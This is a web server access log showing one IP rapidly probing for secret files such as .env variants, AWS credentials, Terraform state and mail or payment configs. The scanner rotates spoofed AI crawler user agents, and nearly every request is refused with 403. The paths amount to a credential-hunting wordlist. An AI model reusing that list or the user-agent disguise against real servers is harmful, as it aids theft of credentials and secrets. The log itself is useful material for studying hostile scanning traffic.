35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws/metadata HTTP/2.0" 200 6972 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 5 **0/5186**
35.234.173.128 - - [03/Aug/2026:19:57:41 -0700] "GET /aws/s3/credentials HTTP/2.0" 200 7065 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 4 **0/4729**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /s3/.env.bak HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4551**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /s3.secret HTTP/2.0" 403 10849 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 6 **0/6653**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /s3/backup HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 7 **0/7411**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /etc/boto.cfg HTTP/2.0" 403 10852 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 5 **0/5631**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /s3/.aws/config HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 9 **0/9985**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /aws/.env.production HTTP/2.0" 403 10859 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 5 **0/5301**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /app/.aws/credentials HTTP/2.0" 403 10860 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 5 **0/5526**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /aws/credentials HTTP/2.0" 403 10855 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4753**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /s3.yml HTTP/2.0" 403 10846 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 5 **0/5032**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /amazon/.env HTTP/2.0" 403 10851 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 3 **0/3726**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /services/aws.php HTTP/2.0" 403 10856 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 8 **0/8985**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /aws/.env HTTP/2.0" 403 10848 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 3 **0/3861**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /api/.aws/credentials HTTP/2.0" 403 10860 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 6 **0/6208**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /root/.s3cfg HTTP/2.0" 403 10851 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 7 **0/7786**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /s3/bucket.env HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 10 **0/10385**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /.aws/credentials.old HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4171**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /amazon/.env.local HTTP/2.0" 403 10857 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 4 **0/4210**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /.aws/credentials.bak HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 8 **0/8213**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /admin/.aws/credentials HTTP/2.0" 403 10862 "-" "TLM-Audit-Scanner/1.0" 12 **0/12160**
35.234.173.128 - - [03/Aug/2026:19:57:44 -0700] "GET /aws/.env.local HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 3 **0/3837**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /s3.properties HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 5 **0/5087**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /s3/buckets HTTP/2.0" 403 10850 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 7 **0/7759**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /s3.yaml HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 10 **0/10818**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /s3/bucket HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 5 **0/5753**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /config/amazon_ses.php HTTP/2.0" 403 10861 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 6 **0/6047**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /s3/credentials HTTP/2.0" 403 10854 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 8 **0/8859**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /s3.key HTTP/2.0" 403 10846 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 8 **0/8371**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /root/.boto HTTP/2.0" 403 10850 "-" "anthropic-ai" 11 **0/11551**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /backend/.aws/credentials HTTP/2.0" 403 10864 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 6 **0/6476**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /aws/credentials.txt HTTP/2.0" 403 10859 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 5 **0/5825**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /amazon/credentials HTTP/2.0" 403 10858 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 8 **0/8317**
35.234.173.128 - - [03/Aug/2026:19:57:45 -0700] "GET /.aws/credentials.backup HTTP/2.0" 403 10863 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 6 **0/6562**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /credentials/aws.txt HTTP/2.0" 403 10859 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5657**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /credentials/amazon.txt HTTP/2.0" 403 10862 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 4 **0/4605**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /terraform.tfvars HTTP/2.0" 403 10856 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 4 **0/4424**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /terraform.tfstate HTTP/2.0" 403 10857 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4749**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /terraform/terraform.tfvars.json HTTP/2.0" 403 10871 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 5 **0/5047**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /var/task/serverless.json HTTP/2.0" 403 10864 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 3 **0/3367**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /serverless.json HTTP/2.0" 403 10855 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 8 **0/8809**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /terraform.tfstate.backup HTTP/2.0" 403 10864 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 3 **0/3900**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /var/task/serverless.yml HTTP/2.0" 403 10863 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 4 **0/4930**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /serverless.yaml HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 3 **0/3894**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /var/task/amplify.yml HTTP/2.0" 403 10860 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 2 **0/2566**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /var/task/docker-compose.yml HTTP/2.0" 403 10867 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4420**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /var/task/docker-compose.yaml HTTP/2.0" 403 10868 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 5 **0/5372**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /serverless.yml HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 5 **0/5741**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /sam-template.yaml HTTP/2.0" 403 10857 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 4 **0/4107**
35.234.173.128 - - [03/Aug/2026:19:57:48 -0700] "GET /var/task/serverless.yaml HTTP/2.0" 403 10864 "-" "anthropic-ai" 4 **0/4489**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /var/www/html/.env HTTP/2.0" 403 10857 "-" "anthropic-ai" 3 **0/3674**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /sendgrid/.env HTTP/2.0" 403 10853 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 3 **0/3730**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /mail/.env.production HTTP/2.0" 403 10860 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 6 **0/6679**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /config/sendgrid.env HTTP/2.0" 403 10859 "-" "TLM-Audit-Scanner/1.0" 4 **0/4257**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /sendgrid/.env.production HTTP/2.0" 403 10864 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 6 **0/6305**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /config/sendgrid.php HTTP/2.0" 403 10859 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5977**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /var/www/.env HTTP/2.0" 403 10852 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 5 **0/5405**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /email/.env.production HTTP/2.0" 403 10861 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 4 **0/4638**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /email/.env HTTP/2.0" 403 10850 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 4 **0/4170**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /mailer/.env.local HTTP/2.0" 403 10857 "-" "anthropic-ai" 7 **0/7460**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /var/task/amplify.yaml HTTP/2.0" 403 10861 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 13 **0/13178**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /mail/.env HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 5 **0/5555**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /sendgrid/.env.backup HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 9 **0/9238**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /mail/.env.local HTTP/2.0" 403 10855 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 6 **0/6269**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /config/mailer.php HTTP/2.0" 403 10857 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 11 **0/11784**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /src/sendgrid.env HTTP/2.0" 403 10856 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 6 **0/6645**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /mail/sendgrid.env HTTP/2.0" 403 10857 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 6 **0/6478**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /mailer/.env HTTP/2.0" 403 10851 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 7 **0/7121**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /email/sendgrid.env HTTP/2.0" 403 10858 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 5 **0/5471**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /api/sendgrid.env HTTP/2.0" 403 10856 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 6 **0/6695**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /backend/sendgrid.env HTTP/2.0" 403 10860 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 7 **0/7954**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /mailer/sendgrid.env HTTP/2.0" 403 10859 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 7 **0/7818**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /stripe.env HTTP/2.0" 403 10850 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 5 **0/5576**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /sendgrid/.env.local HTTP/2.0" 403 10859 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 6 **0/6627**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /config/mail.php HTTP/2.0" 403 10855 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 7 **0/7659**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /config/smtp.php HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 5 **0/5405**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /.sendgrid.env HTTP/2.0" 403 10853 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 4 **0/4897**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /app/sendgrid.env HTTP/2.0" 403 10856 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 11 **0/11866**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /email/.env.local HTTP/2.0" 403 10856 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 7 **0/7342**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /config/mailgun.php HTTP/2.0" 403 10858 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 5 **0/5012**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /stripe.json HTTP/2.0" 403 10851 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 4 **0/4670**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /stripe/.env HTTP/2.0" 403 10851 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 5 **0/5282**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /config/stripe.php HTTP/2.0" 403 10857 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 9 **0/9108**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /backend-api/.env HTTP/2.0" 403 10856 "-" "TLM-Audit-Scanner/1.0" 4 **0/4392**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /prod/.env HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 4 **0/4862**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /production/.env HTTP/2.0" 403 10855 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 5 **0/5210**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /back/.env HTTP/2.0" 403 10849 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 9 **0/9282**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /be/.env HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 9 **0/9915**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /config/stripe.json HTTP/2.0" 403 10858 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 9 **0/9862**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /dev/.env HTTP/2.0" 403 10848 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 5 **0/5727**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /stage/.env HTTP/2.0" 403 10850 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 14 **0/14714**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /development/.env HTTP/2.0" 403 10856 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 4 **0/4182**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /staging/.env HTTP/2.0" 403 10852 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 4 **0/4731**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /test/.env HTTP/2.0" 403 10849 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 10 **0/10332**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /config/email.php HTTP/2.0" 403 10856 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 4078 **4/4078402**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /node-api/.env HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 5 **0/5973**
35.234.173.128 - - [03/Aug/2026:19:57:57 -0700] "GET /node/.env HTTP/2.0" 403 10849 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 3 **0/3863**
35.234.173.128 - - [03/Aug/2026:19:57:53 -0700] "GET /sendgrid/.env.prod HTTP/2.0" 403 10858 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 5008 **5/5008415**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /services/.env HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 4 **0/4864**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /backend/.env.production HTTP/2.0" 403 10863 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 4 **0/4712**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /app/backend/.env HTTP/2.0" 403 10856 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 8 **0/8313**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /admin/.env.production HTTP/2.0" 403 10861 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 4 **0/4896**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /frontend/.env.local HTTP/2.0" 403 10859 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 5 **0/5963**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /apps/api/.env HTTP/2.0" 403 10853 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 8 **0/8940**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /admin/api/.env HTTP/2.0" 403 10854 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 10 **0/10938**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /apps/backend/.env HTTP/2.0" 403 10857 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 7 **0/7105**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /env.txt HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 5 **0/5602**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /server/api/.env HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 12 **0/12087**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /internal/.env HTTP/2.0" 403 10853 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 12 **0/12651**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /private/.env HTTP/2.0" 403 10852 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 13 **0/13688**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /src/.env.local HTTP/2.0" 403 10854 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 9 **0/9652**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /credentials.ini HTTP/2.0" 403 10855 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 11 **0/11408**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /backend/api/.env HTTP/2.0" 403 10856 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 6 **0/6946**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /phpinfo HTTP/2.0" 403 10847 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 11 **0/11268**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /phpinfo.php HTTP/2.0" 403 10851 "-" "anthropic-ai" 11 **0/11489**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /server/.env.production HTTP/2.0" 403 10862 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)" 9 **0/9748**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /config/env.json HTTP/2.0" 403 10855 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 13 **0/13051**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /admin/.env.local HTTP/2.0" 403 10856 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 11 **0/11982**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /config/credentials.json HTTP/2.0" 403 10863 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot" 12 **0/12146**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /frontend/.env.production HTTP/2.0" 403 10864 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 17 **0/17270**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /app/api/.env HTTP/2.0" 403 10852 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 15 **0/15339**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /backend/.env.local HTTP/2.0" 403 10858 "-" "anthropic-ai" 20 **0/20395**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /env HTTP/2.0" 403 10843 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 24 **0/24680**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /config/env.php HTTP/2.0" 403 10854 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 26 **0/26779**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /server/backend/.env HTTP/2.0" 403 10859 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 6 **0/6906**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /src/api/.env HTTP/2.0" 403 10852 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 12 **0/12514**
